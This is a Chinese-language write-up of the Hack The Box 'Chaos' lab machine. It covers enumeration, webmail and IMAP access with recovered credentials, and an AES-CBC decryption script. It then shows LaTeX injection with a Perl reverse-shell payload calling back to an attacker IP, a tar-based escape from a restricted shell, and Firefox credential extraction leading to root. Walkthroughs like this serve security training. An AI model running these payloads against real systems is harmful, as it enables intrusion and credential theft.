Hack The Box Chaos WriteUp

1.端口信息,通过nmap扫描,发现Chaos开放6个端口,主要有web及邮件服务。

端口信息

2.web服务目录爆破,利用Gobuster对80端口的web服务进行发现。能够在以下路径找到wordpress:
http://10.10.10.120/wp/wordpress
image.png

3.wpscan枚举用户,探测发现当前只有human一个用户在wordpress环境中:
wpscan --stealthy --url http://10.10.10.120/wp/wordpress/ --enumerate
enumerate

利用human用户名可以访问一篇加密博客,获取webmail的登录账户:
username:ayush
password:jiujitsu (这个密码决定了之后的所有步骤...)
webmail

4.登录webmail,因为邮件服务器不运行非加密的连接请求,所以必须使用openssl连接。在草稿箱内可以找到一封包含附件的邮件,附件包含一段密文、一个加密脚本及一个密钥。
连接服务:openssl s_client -connect chaos.htb:143 -starttls imap
查看邮箱:tag LIST "" "*" (包含草稿、发信、收件)
选择草稿箱:tag SELECT Drafts
选择邮件:tag FETCH 1 (BODY)
查看邮件:tag FETCH 1 BODY.PEEK[]
邮件原文

5.破译密文,邮件中包含3个关键部分。首先提到用户sahay就是密码,其次给了一段名为enim_msg.txt的密文,最后是en.py的加密脚本。经过base64解码后,脚本的逻辑如下:

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

不难看出getkey生成了最初的密钥,输入参数password就是邮件中提到的sahay。encrypt采用AES CBC加密算法,初始向量IV采用16位随机字符串。base64解码后的密文enim_msg.txt,文本长度为272,刚好可以整除16,272/16=17,因此可以确定CBC分组长度为16。根据AES标准,密文前16位为IV初始向量,即:
IV = 0000000000000234


IV

响应的解密函数及明文如下:

from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import Crypto.Cipher.AES
from binascii import hexlify, unhexlify

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

if __name__=="__main__":
    chunksize = 64*1024
    mkey = getKey("sahay")
    mIV = (b"0000000000000234")

    decipher = AES.new(mkey,AES.MODE_CBC,mIV)

    with open("demsg.txt", 'rb') as infile:
        chunk = infile.read(chunksize)
        plaintext = decipher.decrypt(chunk) 
        print plaintext

注意解密后,明文为base64编码,前16位IV应该除去,剩余字符串可正常解码:

明文

6.LaTeX攻击,根据提示,在/etc/hosts文件中添加对应的域名,访问指定路径后会看到一个pdf生成器,是典型的LaTeX攻击。网页提示只有一个模板可以被使用,尝试后发现是test3模板,输入正文并点击生成按钮后,网页并不会有直接的提示,需要启用开发者模式获得结果,生成的pdf在路径http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/。攻击的原理及介绍请参考:https://0day.work/hacking-with-latex/
pdfTeX, Version 3.14159265-2.6-1.40.19

这里直接给出反弹POC:

\immediate\write18{perl -e 'use Socket;$i="10.10.16.49";$p=6666;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}

7.获取user.txt。在获取一个www-data权限的shell后,可以利用ayush的密码jiujitsu切换至ayush的会话中,但这是一个rbash,环境变量被设置在/home/ayush/.app中,拒绝了绝大多数的命令,经过尝试dir可以正常执行,在.app目录中有tar,这可以用来逃逸rbash限制。
逃逸POC:tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
获得正常bash后,添加环境变量export PATH=$PATH:/usr/bin/,打印出user.txt。

获取user.txt

8.获取root.txt。在/home/ayush目录中发现,该用户安装有mozilla firefox。检查key4.db及cert9.db,发现文件体积均大于默认安装后的大小,怀疑可能保存有用户登录凭据。firefox_decrypt可用于提取缓存凭据,项目地址如下:
https://github.com/unode/firefox_decrypt
上传运行后,firefox_decrypt.py会要求输入解密用的主密钥,而这个密钥正是jiujitsu,提取的root密码为:jiujitsu。利用该密码su至root权限获取旗标。
root

root@chaos:~# cat root.txt
cat root.txt
4eca7e09e3520e020884563cfbabbc70

你可能感兴趣的:(Hack The Box Chaos WriteUp)